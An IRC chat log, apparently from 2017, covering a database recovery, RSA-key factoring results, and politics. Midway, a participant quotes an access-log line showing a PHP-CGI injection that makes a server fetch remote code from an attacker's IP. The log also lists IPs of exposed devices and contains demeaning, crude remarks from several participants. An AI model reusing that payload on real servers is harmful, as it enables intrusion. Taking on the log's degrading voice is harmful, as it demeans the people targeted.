jhvh1: mircea_popescu: Error: "ud" is not a valid command.
trinque: http://p.bvulpes.com/pastes/rTF18/?raw=true << in other "help you in my own way"
shinohai: toppest of keks
mircea_popescu has recovered his db, is now fighting with monstrous conspiracy that swears on all voices "no dude it's legit, 40gb!"
trinque: mircea_popescu: universal basic income
ben_vulpes: everything must be free
CompanionCube: I don't think that's the idea of UBI
ben_vulpes: everything must be a pale simalacrum of something that existed as a real item at some point
a111: Logged on 2017-03-24 13:31 asciilifeform: Framedragger: aka landlord payola, lol
ben_vulpes: CompanionCube: just try it some day
a111: Logged on 2017-03-29 21:56 asciilifeform: ( the other funny detail, it certainly ain't ~everyone~ who'd get payola. certainly not dirty kulaks. )
ben_vulpes: "you know i really like this ubi idea; imagine the cambrian explosion of art and culture that would happen if people didn't have to work to eat, right? well imagine if *everything* were free, not just food internet and housing. it's not like we need tax receipts to pay for it, just increase the national debt a little! i doubt it would even come close to the cost of an f35 to make everything free."
trinque: !~ticker
mircea_popescu: i thought it's obvious ubi is for the incompetent sluts that are "going to college" and the assorted ghetto scum "tryna make it in dis game"
jhvh1: trinque: Bitfinex BTCUSD ticker | Best bid: 1195.4, Best ask: 1195.5, Bid-ask spread: 0.10000, Last trade: 1195.4, 24 hour volume: 29527.58713279, 24 hour low: 1123.0, 24 hour high: 1197.0, 24 hour vwap: None
trinque: no, please do
ben_vulpes: ubi is a statal self-crit
ben_vulpes: i think it's awesome
ben_vulpes: also everything must be free
mircea_popescu: not really avoidable.
trinque 100% in favor of ben_vulpes' p-peddle to the metal m-morty approach to end of the state
ben_vulpes: trinque: w-what?! i just want to make life better for historically disadvantaged groups!
mircea_popescu: trinque i certainly don't see anything wrong with teaching the stupid how to be even stupider until the time they're actually ready to hands and knees.
shinohai: Turned !~ud bqck on mircea_popescu ... cheers!
mircea_popescu: !~ud woke whore
jhvh1: mircea_popescu: ERROR: 'woke whore' not defined on UrbanDictionary.
shinohai had forgotten it twas disabled
mircea_popescu: imagine.
shinohai: !~ud Lemon party
jhvh1: shinohai: Lemon party :: One of the unholy trinity of internet pictures which all must witness to be 'jaded internet users' (tubgirl, goatse, and lemonparty), lemonparty is probably the tamest of the three by just being hardcore old man gay orgy sex. Believe me, the other two are worse. [ex:] *upon seeing lemonparty* OH GOD MY EYES!!! [/ex] | Closly related to the infamous "[tubgirl]" site. If one goes to (6 more messages)
ben_vulpes: what lemon party is jading now?
ben_vulpes: how are sarin death videos not in that list
asciilifeform: !~ud haskell
jhvh1: asciilifeform: haskell :: 1 -- A general purpose, polymorphicly typed, lazy functional programming language largely based on lambda calculus. 2 -- A constant source of frustration for those who have been brainwashed by the OO paradigm. [ex:] You: How do I write a 'while' loop with Haskell?Me: You can't, freshman. [/ex] | A town in Northern New Jerse located between Ringwood and Pompton Lakes, smaller district of (5 more messages)
ben_vulpes: whatever, thanks urban pricktionary
asciilifeform: damn, i was quite certain i recalled it read 'sad coke hell'
ben_vulpes: someone got butthurt no doubt
mircea_popescu: what's the while loop to do with the "oo paradigm" ?
ben_vulpes: not an erudite enough critique
mircea_popescu: !~ud obama
jhvh1: mircea_popescu: obama :: The Messiah for brain-dead Democrats. [ex:] No matter what he says, no matter what he does, they'll worship the great Obama. [/ex] | An acronym standing for One BigAss Mistake,America! [ex:] Q: What was the result of the 2008 election?A: OBAMA [/ex] | Has no real experience, because most of his time as "senator" was spent campaigning for his own election to President. Is praised (10 more messages)
mircea_popescu: !~ud trump
jhvh1: mircea_popescu: trump :: 1. To have superior power over.2. To surpass or outdo.3. When a person says "trump," you are required to do whatever you just claimed you would do, no matter how exaggerated it was. If you don't do it, you get a [spartan kick] to the chest. [ex:] 1. Bob: The president's word trumps yours, Joe, you homeless piece of shit. When he says something it must be done.2. Joe: Man, I'll trump your ass (5 more messages)
mircea_popescu: !~ud bannon
jhvh1: mircea_popescu: bannon :: When a person or animal gets high on a substance, often in unexpected places. This usually ends in chaos for everyone. [ex:] At school all my friends bannoned on sharpies. [/ex]
mircea_popescu: this is remarkably better than wikipedia.
shinohai: "obama :: The Messiah for brain-dead Democrats. " <<< Accurate
asciilifeform: in other noose, phuctor stats now ~unloadable
asciilifeform: the rewrite might have to happen sooner rather than later.
mircea_popescu: any ideas on probing and cutting large files ? dd freezes.
asciilifeform: 'ddrescue'
mircea_popescu: i dun have it ;/
asciilifeform: (or 'dd_rescue', they are -- perversely -- separate proggies by separate people, that do ~same thing )
mircea_popescu: neither\
asciilifeform: it is similar to dd but will show progress, and retry bad reads/writes (showing you if your drive is hosed)
mircea_popescu: i guess i'm naive to imagine standard tools can do the job of fixing the mess standard tools created huh
asciilifeform: mircea_popescu: if you want 'what box came with', that means standard retarded unixland
asciilifeform: and aha, mno.
mircea_popescu: what i want is non-freezing tools.
mircea_popescu: i dunno why this is such a tall order.
asciilifeform: because unix.
asciilifeform: it doesn't even have a concept of sane process interruption + resumption.
asciilifeform: can stop literally anywhere.
asciilifeform: (nor of sanely organized state)
mircea_popescu: head doesn't work on a large file.
mircea_popescu: explain this to me. however long it may be, IT STILL STARTS IN THE SAME PLACE.
mircea_popescu: head must takle THE SAME TIME whether reading 1kb or 1pb file.
asciilifeform: worx fine on 100+GB file here.
mircea_popescu: i am plagued by cursed bs.
asciilifeform: sounds like rotting disk
mircea_popescu: i checked it and it's fine
asciilifeform: ( any signs thereof in, e.g., dmesg ? )
mircea_popescu: 0 bad sectors also. smart looks good, whatever.
mircea_popescu: copied multiple 100s of gb past hours, none failed anything.
asciilifeform: if this is anything like past cases, mircea_popescu's box is peculiar in some way literally nobody else could possibly guess
asciilifeform: and this caused it.
mircea_popescu: i suppose.
mircea_popescu: anyway, im dumping teh table as a sql and will be wanting to hack it up. but i have no tools with which to identify the CUT HERE spot
asciilifeform: also mircea_popescu how didja know that 'dd hanged' rather than merely taking long time
mircea_popescu: there is no "taking long time"
asciilifeform: 100G of dd takes ~hour here
mircea_popescu: if it took longer than my refresh interval it hung.
mircea_popescu: and in other lulz : apparently tail -n+x | head -n10 takes 4 times less than tail -nx+1 | head -n10
CompanionCube: also, modern dd also has progress reporting
CompanionCube: when using status=progress
mircea_popescu: is 8.4 modern ?
CompanionCube: Doubt it, considering my gentoo is on 8.25
mircea_popescu: 111119289 tril_posts.sql << that took ~5 minutes of wc time.
CompanionCube: mircea_popescu: it seems the feature was introduced in this release: https://git.savannah.gnu.org/cgit/coreutils.git/tree/NEWS#n355
mircea_popescu: apparently if you send it usr1 sig it will spit stats to stderr
Framedragger: http://btcbase.org/log/2017-04-06#1639243 << this doesn't seem right. `tail` should work fine, too (it seeks to end of file and then rewinds, should be superfast on arbitrary sized files)
a111: Logged on 2017-04-06 19:05 mircea_popescu: head doesn't work on a large file.
mircea_popescu: im clocking MINUTES of cpu time.
mircea_popescu: i can see the theoretical "benchmarks" online too. the problem is they're bs, "test file generated by seq 100mn". hurr. how about generate a file with lines of random length between 1kb and 1mb, then benchmark it.
asciilifeform: is something hogging the disk ?
asciilifeform: how long does it take to, e.g., touch foo.bar ?
asciilifeform: then hm.
Framedragger: mircea_popescu: recently had to tail multigb files, it was *instant* (because, seeks to end of file). seems like a disk prob to me
mircea_popescu: meanwhile 0:29.14 tail <
Framedragger: what does iotop (under root) say?
Framedragger: (ah it's not installed by default i'm afraid)
mircea_popescu: command not found
Framedragger: should be in repo as `iotop`
mircea_popescu: hoooly shit.
mircea_popescu: tail -n+150000 tril_posts.sql | head -n5 > hurr.txt produces empty file ; meanwhile wc -l claims 111119289
Framedragger: i am very interested in i/o of `tail` while it's running. wtf. would apt-get install iotop
mircea_popescu: -- Dump completed on 2017-04-06 15:10:30 << at least i know for a fact i got an integral mysqldump. sadly it's 40.9 gb.
mircea_popescu: and the mystery starts to unravel : the first 52mb of this file consist of ... one line of ^@
mircea_popescu: sed 's/^@//g' actually crashes :D
asciilifeform: mircea_popescu: is it really ^@ or is that just what you get out of the terminal
asciilifeform: what's the hexdump look like ?
mircea_popescu: and what am i, mafalda ?
mircea_popescu: how will i hexdump ?
asciilifeform: yourthing | hexdump -C
mircea_popescu: you're new here aren't you.
mircea_popescu: here's a heads-up : head has been going for ~4 minutes. i expect it to crash without output.
Framedragger: head -c 1000 | hexdump -C
Framedragger: bytes, not lines
mircea_popescu: ah that's an idea.
asciilifeform: simply pointing out, '^@' is terminal barf, not contents
mircea_popescu: no im aware asciilifeform
mircea_popescu: Framedragger bingo, "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
asciilifeform: ( it suggests that mircea_popescu's sql dump isn't 7bit clean )
Framedragger: mysqlol
mircea_popescu: now then : how do i wipe null chars from file ?
mircea_popescu: looks like i got about 40mb of them
mircea_popescu: mebbe tr halps.
asciilifeform: sed -i 's/\x0//g' file
mircea_popescu: tryin tr -d '\000' because sed crashed once already
Framedragger: sed is only supposed to work on text files but hm.. also, one clunky way would be to hexdump whole file into hex.bin, then work with that
mircea_popescu: (i suspect /g doesn't work well with mb lines)
asciilifeform: cat file.foo | tr -d '\000' > new_file.foo
mircea_popescu: \s what im doing
mircea_popescu: sadly the output is over 8gb already. apparently i got more crap in there.
Framedragger: wait how did you end up with that large ass file? sql dump?
mircea_popescu: Framedragger myisamchk'd the extant MYI/MYD pair, got a db file which works but is too large, had mysqldump drop it as a .sql
mircea_popescu: trying to clean it up and put it back in now.
mircea_popescu: holy shit it returned! we're down to 25 gb now!
asciilifeform: !!up gabriel_laddel_p
deedbot: gabriel_laddel_p voiced for 30 minutes.
gabriel_laddel_p: http://btcbase.org/log/2017-04-06#1639114 < I didn't realize that this "sharing" link would open in google drive. Here is a link to the same file that you can open in emacs, curl etc https://raw.githubusercontent.com/gabriel-laddel/masamune/master/slate-star-codex-no-wrap80.txt
Framedragger: mircea_popescu: hm okok. an .sql file should not contain any non-printable chars so that in itself is alarming.. weird
asciilifeform: Framedragger: it strongly suggests disk rot, imho
asciilifeform: gabriel_laddel_p: what am i looking at
asciilifeform: seems like a massive reddit paste ?
mircea_popescu: Framedragger how do you figure ?
a111: Logged on 2017-02-14 00:14 mircea_popescu: gabriel_laddel_p if it could detect and wipe the idiotic wrap(80) thing that'd be great.
gabriel_laddel_p: asciilifeform: in that conversation I dropped "rich webpage" & "text" archives into the log, which were OK'd, given that word-wrapping was removed.
mircea_popescu: o yeah check that out
Framedragger: mircea_popescu: .sql is a set of statements which you can run on db to put it back into the state which produced the .sql in question, no? but, if there's mysql specific convention bullshit tho, i wouldn't know :/
gabriel_laddel_p: having both text & the js/images/etc prevents lizardhitler from "unhappening" headlines, while ensuring that DOM dumping and other crazy nonsense doesn't have to be implemented.
mircea_popescu: Framedragger and if i store a jpeg the dumper is supposed to do what, base64 it ?
mircea_popescu: asciilifeform i'm reasonably happy with the format tbh.
Framedragger: i don't know how it would encode it, but in general, yes. more like, escape nonprintable chars with "\0" i guess
Framedragger: but i'll check lest i'm talking out of ass
mircea_popescu: i wasn't aware .sql is supposed to be a text file.
Framedragger: seems mysql does not have a 'binary dump' option. so basically, yes
Framedragger: typical small .sql is usually just a set of "INSERT INTO .. VALUES ..", but mircea_popescu is running a large escher megasite, so i'm less certain..
mircea_popescu: normally it'd be all text, but because it got fucked it got filled with crap. which the dumper can't discern from legit stuff.
Framedragger: (i don't know about that "db" file, tho, i mean, that one's binary)
mircea_popescu: notrly, mostly text also.
mircea_popescu: MYD i mean
Framedragger: (but output of mysqldump is *supposed* to be a set of sql statements.)
Framedragger: i don't know what that is
mircea_popescu: mysql stores mysiam rows as a myd / myi pair of files
mircea_popescu: very much like our dear bitcoin really.
CompanionCube can't speak for mysql but knows that postgres dumps can be a mixture of text and binary data
CompanionCube: unless you specify the 'plaintext' format
Framedragger: mysqldump appears to support text-only
mircea_popescu: holy shit.
Framedragger: but actually, i haven't run mysqldump in forever and not 100% certain about docs, so i don't know
mircea_popescu: i don't imagine anyone can actually intuit what i in fact did.
Framedragger: mircea_popescu: by text-only i meant the *output*, it can certainly handle binary blobs
mircea_popescu: get a load of this :
mircea_popescu: UPDATE table SET content field = '(the 2mb content of the post i wanted ADDED goes here)'
Framedragger: (one internet says "No, it is not always reliable when you have binary blobs. In that case you MUST use the "--hex-blob" flag to get correct results." << untrusted source)
mircea_popescu: which is how one ends up with a multi-gb db. apparently it got executed even though no ; at end or anything
CompanionCube: why not just restore from previous DB backup if any
shinohai snickers
gabriel_laddel_p: Oh, and I learned the price of lispworks - 4.5k
asciilifeform: hah, only 30% up in 7y
trinque: texan as hell.
trinque: probably
trinque: no, real.
Framedragger: notbad.jpg
shinohai: "We choose not to become involved with N. Korea's ongoing war with the sea" would have been more lulzy
trinque: well, not everybody can snark on a qntra level.
shinohai: This is why I am not Secretary of State.
asciilifeform: lol @ 'Parental Child Abduction' page.
asciilifeform: ( where, one wonders, is the 'surplus sarin for ModerateRebels' page, order form)
shinohai: So I noticed thestringpuller has changed his location on twitter from "La Serenissima" to " Wakanda "
shinohai: Which begs the question, wtf is a Wakanda
CompanionCube: 'Wakanda is a fictional nation appearing in American comic books published by Marvel Comics.[1] It is the most prominent of several fictional African nations in the Marvel Universe, and it is home to the superhero Black Panther. Wakanda first appeared in Fantastic Four #52 (July 1966), and was created by Stan Lee and Jack Kirby.'
shinohai: A fictional cargo cult.
shinohai goes back to remotely setting up a lovense ....
mircea_popescu: oook... trilema is back online.
mircea_popescu: please check your favourite articles for any upset! ty for your patience!
CompanionCube: mircea_popescu: do you plan to write an article about mysql being a shit?
mircea_popescu: how is mysql a shit ?
CompanionCube: in the sense that it/the dump tool produced a overly-large 40gb file?
CompanionCube doesn't think he phrased it correctly
Framedragger: i mean even if mircea_popescu aborted a db write, it shouldn't have forked into gigs of crap?..
Framedragger: congrats on emerging alive on the other side
mircea_popescu: Framedragger i dun think you've grokked the depths of my idiocy
mircea_popescu: I UPDATED EVERY SINGLE CONTENT FIELD FOR EVERY ARTICLE TO THE NEW ONE
Framedragger: oh, ah
Framedragger: wowwwww
Framedragger: wow even more congrats on emerging alive
mircea_popescu: and then it crashed because suddenly turning 10s of ks of article into a 3mb turd inflated the db.
mircea_popescu: and THEN i interrupted it so it lost its indexes too.
Framedragger: not a bad eventual outcome at all
mircea_popescu: the moral being that db engineers are made not born, and this is how. so unless you're willing to burn dbs, don't hire noobs to engineer your storage
mircea_popescu: even if the noobs are yourself.
Framedragger: mircea_popescu: so you went through every row checking if it has turd at start, and removing that turd? or found binary log to roll back the transaction (which should have aborted and rolled back, something something)
shinohai: Hot as fuck ben_vulpes
shinohai likes brunettes
mircea_popescu: Framedragger i whined at person actually in charge of this who gave me the backup.
Framedragger: hey backup&restore process tested successfully
trinque: mircea_popescu: the fucking syntax though eh? cut all dicks off all males, then you back it down to particulars!
trinque: I by way of a sad life always write the where clause first
trinque: hell actually, cut the dicks off the females too!
trinque: (wherein phf gets mad at me re: that's how set theory works and I scratch at my left stump)
Framedragger considers linking to godel's ontological proof of god in Coq
trinque: you keep your coq to yourself
trinque wrenches his troll-switch back to off
Framedragger: (apparently some couple of russians had a fight and one shot the other over a dispute regarding kant. i can believe that)
asciilifeform: oh hey congrats mircea_popescu
asciilifeform: in other new lulz, 191.96.249.97 - - [06/Apr/2017:21:12:20 +0000] "GET /cgi-bin/php?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+max_execution_time%3D0+-d+disable_functions%3D\x22\x22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dhttp://191.96.249.97/ok.txt+-d+cgi.force_redirect%3D0+-d+cgi.redirect_status_env%3D0+-n HTTP/1.1"
asciilifeform: elsewhere, Number of Microinverters 126 Number of Microinverters Online 110 << lel
asciilifeform: (univ. of chicago)
deedbot: http://www.contravex.com/2017/04/06/tesla-model-3conomics/ << » Contravex: A blog by Pete Dushenski - Tesla Model 3conomics.
mircea_popescu: trinque apparently.
ben_vulpes: !!up fromloper
deedbot: fromloper voiced for 30 minutes.
ben_vulpes: fromloper: interested in factoring rsa keys?
ben_vulpes: may have missed the window of opportunity/interest there...
ben_vulpes: > 22:39:07, fromloper joins
ben_vulpes: > 22:51:27 ben_vulpes ups fromloper to great crickets
ben_vulpes: fromloper likely not even looking at browser tab anymore
mircea_popescu: ah, whatevs
shinohai just now noticed that comic sans "trilema" font that made him think of dogecoinz
doppler: I didn't even notice it was comic sans until I happened to browse on my windows box
fromloper: it's alive
ben_vulpes: ohey fromloper
ben_vulpes: what brings ye by
shinohai: Is it recent lulz?
mircea_popescu: doppler it's only comic on windows.
fromloper: I was hungry and I smelled smores.
mircea_popescu: http://trilema.com/2017/phuctor-checkpoint/ << finally, the much belated article.
asciilifeform: oh hey.
mircea_popescu: to think i nearly lost trilema over this bitch!
ben_vulpes: no...backups?
fromloper: actually, I found sweet rants on clojure, and followed the crumbs.
mircea_popescu: sure, backups.
mircea_popescu: fromloper get a key, get a name, stuff.
fromloper: thank you. I will.
shinohai: I'm actually impressed some fromloper finally speaks
shinohai: *someone
mircea_popescu: not the first is it ?
fromloper: someplurality.
shinohai: First one I am privy to in recent memory.
asciilifeform: !!up fromloper
deedbot: fromloper voiced for 30 minutes.
fromloper: fromloper studies his marshmallow, admiring its gentle bronzing in the crackling fire.
asciilifeform: in other vintage finds, http://phuctor.nosuchlabs.com/gpgkey/233AA111786036F5FC0A4D9B780E25E18670BAE5AAB7A1A2EDF1F7BB9E1BB338 >> e.g., http://217.91.20.227 >> http://www.itfm.de/BNetz/index.html << 'Das Bürgernetz: Schnelles Internet auch in Ihrem Ort.' << all same key
mircea_popescu: schnellerer that way.
asciilifeform: clearly.
asciilifeform: '3 WAYS VOIP HAS TRANSFORMED BUSINESS COMMUNICATIONS' didjaknow.
deedbot: http://trilema.com/2017/phuctor-checkpoint/ << Trilema - Phuctor checkpoint
fromloper: fromloper quietly pulls his poncho around himself and quietly retreats into the saguaro darkness, but his eyes are friendly, and he has been grateful for the warmth.
mircea_popescu: guy sounds like a roguelike
asciilifeform: and afaik not listed anywhere as 'cve' or whatnot.
asciilifeform: http://phuctor.nosuchlabs.com/gpgkey/12E33F9E49E155F1A0FC54B92E8D60A589DE15017A5D4FC9B6F1D9E3046E615E << i'd still luvvv to know what these are, 111 modulus dupes, but none seem to ping.
asciilifeform: mostly asia.
asciilifeform: or hm, no! all sorts of hardware. but all debianized.
asciilifeform: looks like this brings us up to date re the dupemod champs.
asciilifeform: bonus lulz: http://114.38.11.238:8181 << D-Link DIR-850L
asciilifeform: 125.227.247.104 ( and bunch of boxes ) have world-writable upnp (ddostron)
mircea_popescu: ooobviously
asciilifeform: ooooh and :
mircea_popescu: (no weddings were bombed, totally not the same as aleppo etc)
asciilifeform: ^ who has a winblowz box up ?
asciilifeform: pr0ncams.
asciilifeform: http://wotpaste.cascadianhacker.com/pastes/OhvSO/?raw=true << from mircea_popescu's dump, for convenience of pr0ncam viewers.
mircea_popescu: is it actually ?
asciilifeform: i have nfi, 'need plugin to display'
mircea_popescu: seem cheapo chinese surveillance cams
asciilifeform: aha, megatonne of'em
mircea_popescu: classical wall mounted thing with directional controls etc
asciilifeform: yeah, them
asciilifeform: but from here i cannot currently see through the cam.
asciilifeform: it wants some browser plugin nonsense.
mircea_popescu: check it out asciilifeform isis shot down a helicopter
mircea_popescu: WITH AK FIRE
asciilifeform: mircea_popescu: neato
asciilifeform: know from what distance ?
mircea_popescu: know from backchannels and the fact that the govt isn't making a point "oh, they had bazooka"
asciilifeform: i meant -- it may be an incredible feat of akmanship, or a snore, or a lucky shot (ww2-style), depending on distance, neh.
mircea_popescu: except it was a distance the helicopter actually flew at.
asciilifeform: (and on which chopper)
asciilifeform: ( the sov chopper used in afghan war, famously , was immune to small arms fire ~except~ for window )
asciilifeform: american chopper in vietnam -- entirely transparent, like paper
mircea_popescu: apparently two man craft so nothing too heavy
mircea_popescu: "black woman and former Mary Kay sales professional Ella Jones" ahaha
asciilifeform: waiwat where
asciilifeform: aah found
mircea_popescu: kek wtf is with the trying so hard
mircea_popescu: !!rate skydragon 1 seems hardworking enough.
mircea_popescu: !!v 542F8B4F2D22F9C3744F50E79C0E158AC581AFAFA99C1104D0D79133F9A29744
deedbot: mircea_popescu rated skydragon 1 << seems hardworking enough.
shinohai: dem tats\
deedbot: http://phuctor.nosuchlabs.com/gpgkey/8C5D44A327B3D659D6AA6218C0999439639080DB27772A7D2086B50A76388C9A << Recent Phuctorings. - Phuctored: 1778...5487 divides RSA Moduli belonging to '209.173.135.172 (ssh-rsa key from 209.173.135.172 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) <ssh...lt>; ' (172.135.173.209.customers.safeschools.com. US OH)
deedbot: http://phuctor.nosuchlabs.com/gpgkey/8C5D44A327B3D659D6AA6218C0999439639080DB27772A7D2086B50A76388C9A << Recent Phuctorings. - Phuctored: 1435...4107 divides RSA Moduli belonging to '209.173.135.172 (ssh-rsa key from 209.173.135.172 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) <ssh...lt>; ' (172.135.173.209.customers.safeschools.com. US OH)
deedbot: http://phuctor.nosuchlabs.com/gpgkey/5A06175686D55EF9C17BB4D0087DEBC752EA7F60C837DE1E687BAE0D3F8BE9D0 << Recent Phuctorings. - Phuctored: 1791...6123 divides RSA Moduli belonging to '62.17.1.200 (ssh-rsa key from 62.17.1.200 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) <ssh...lt>; ' (Unknown IE)
deedbot: http://phuctor.nosuchlabs.com/gpgkey/5A06175686D55EF9C17BB4D0087DEBC752EA7F60C837DE1E687BAE0D3F8BE9D0 << Recent Phuctorings. - Phuctored: 1430...0689 divides RSA Moduli belonging to '62.17.1.200 (ssh-rsa key from 62.17.1.200 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) <ssh...lt>; ' (Unknown IE)
asciilifeform: https://www.safeschools.com << lol!! ^ usg-sponsored greatfirewall shared by several school districts
asciilifeform: and! and! :
asciilifeform: 'Our award-winning suite of K-12 safety and compliance programs includes solutions for staff training,accident tracking, SDS management and bullying/incident reporting.'
asciilifeform: didjaknow.
mircea_popescu: for the record, i was trying to watch a comedy. half hour in i'm like... feh, i wonder what trilema's up to
BingoBoingo: THE DOG HAS BEEN WAGGED
BingoBoingo: Trump Shoves 60 cruise missiles into Syrian Airfield's Pussy
asciilifeform: heilclitler
asciilifeform: '"Assad choked out the lives of helpless men, women and children," President Donald Trump said in remarks from Mar-a-Lago, his family compound in Palm Beach, Florida. "It is in this vital national security interest of the United States to prevent and deter the spread and use of deadly chemical weapons," said Trump...'
BingoBoingo: Not necessarily yet. Dog wagging has long tradition in US politics as way to beat the media up with itself. "Support our troops/missiles" gambit
trinque: still very much open whether he says "alright, I did something" and leaves, or starts another Iraq
asciilifeform: the count of 'leaves' to date, since 'the maine' incident, is 0.
BingoBoingo: And recently russian has expressed "limits" to support of Assad. Perhaps A-10 and Su-25 regime change Syria in harmony to MWGA
BingoBoingo: Not a likely outcome, but possibru
asciilifeform: limits, aha. # of usg battleships sent to the bottom thus far : 0
BingoBoingo: Well, 4 remaining US battleships all museums
asciilifeform: tomahawk launchers, if you want.
BingoBoingo: Bah, those are smaller ships and a couple converted ballistic missile submarines
asciilifeform: meanwhile, https://archive.is/b7Ggr >> deathray treason! and plot! i know of no reason! why deathray treason, should ever be forgot !!1111
asciilifeform: 'MIT Grad Nicolai Mork Arrested on Terrorism, Weapons of Mass Destruction Charges' -- 'An MIT graduate was arrested on charges of terrorism and possession of weapons of mass destruction...'
deedbot: http://qntra.net/2017/04/the-dog-has-been-wagged-trump-fires-60-cruise-missiles-into-syrian-airfields-pussy/ << Qntra - The Dog Has Been Wagged: Trump Fires 60 Cruise Missiles Into Syrian Airfield's Pussy
BingoBoingo: "“Unlike the previous administration, President Trump confronted a pivotal moment in Syria and took action,” said Sens. John McCain (R-AZ) and Lindsey Graham (R-SC)." << Apparently Trump satisfied the Lich's war boner.
BingoBoingo: "Good night and God bless America and the entire world. Thank you." << On the otherhand could be hint of MWGA effort
mircea_popescu: trinque well it'll be a little difficult to start another iraq seeing how the ru planes actually work.
mircea_popescu: but anyway, there's dark silence from moscow ; seems altogether likely the chinese won this round.
asciilifeform: unfortunately they only work if flown
BingoBoingo: ^ China can't win them all
mircea_popescu: what's the w again ?
mircea_popescu: holy shit what ?
mircea_popescu: ah lol. i thought for a moment they actually were going for the fortifications there.
phf: hehe
mircea_popescu: .22 caliber handgun ?!
asciilifeform: mircea_popescu: apparently! mass destructor!
asciilifeform: didjaknow!
asciilifeform: perhaps fires gadolinum bullet.
asciilifeform: or what was it.
phf: i was just shooting that earlier today...
asciilifeform: #1 -- funnily -- caliber in usa.
asciilifeform: not because everyone is training for olympics. but because cheapo.
asciilifeform: 1000 / ~fiddybux.
BingoBoingo: Usually sold by the 500 round "brick"
phf: i thought that's 9mm, but i guess that makes sense. fwiw cheapest round at the range
mircea_popescu: why's the thing sold as "mit produces nutcase" anyway. 40 yo, what the fuck relation does college have
mircea_popescu: lmao "one count of possession of a silencer" ? really ?
asciilifeform: ( low enough pressure, also, that barrel can be made of shitalloy )
asciilifeform: mircea_popescu: aha, this is considered a mega-crime in usa, ~same penalty as for being found with a crate of grenades, or aircraft autocannon. go figure.
mircea_popescu: and wtf is anyone training for with that shit ? "how to be totally surprised by recoil and shoot your own hat" ?
BingoBoingo: And rimfire so can be stamped out at trivial cost, while brass is unreloadable with civilian equipment
mircea_popescu: brass is reloadable by hand what are you talking
asciilifeform: whatchatalking about BingoBoingo -- brass is eminently reloadable
BingoBoingo: "rimfire" is a pain
BingoBoingo: centerfire fine, presses. People have automated setups at home
mircea_popescu: i might be a little slow on the uptake, but what is tomahawk supposed to do to airstrip ?
asciilifeform: crater?
asciilifeform: same thing german bombs did to su airstrips in '41
mircea_popescu: so spend 2mn to make a pothole costs 300 bucks to fix ?
BingoBoingo: Well, duh
asciilifeform: if empty -- yes
asciilifeform: presumably this one had machines parked there
asciilifeform wasn't there , did not see
mircea_popescu: the idea is assad kept the planes on the tarmac ?
BingoBoingo: Anyways, never though to consider before today that rimfire might be reloadable. The moar you know.
mircea_popescu: and they were targetted with tomahawks ?
asciilifeform: supposedly!
BingoBoingo: Point of firing tomahawks is almsot never about what they do. It is about demonstrating that you go through the motions of doing things.
mircea_popescu: asciilifeform oddly they didn't even shoot them down serbian style ?
BingoBoingo: Perhaps Russia flipped syrian air defense off?
mircea_popescu: you think ?
BingoBoingo: Surely Putin must know of American dog wagging rituals.
mircea_popescu: maga through waga ?
← 2017-04-05 | 2017-04-07 → ↑
Random(trilema) | Download hourly DB snapshot | Get Source Code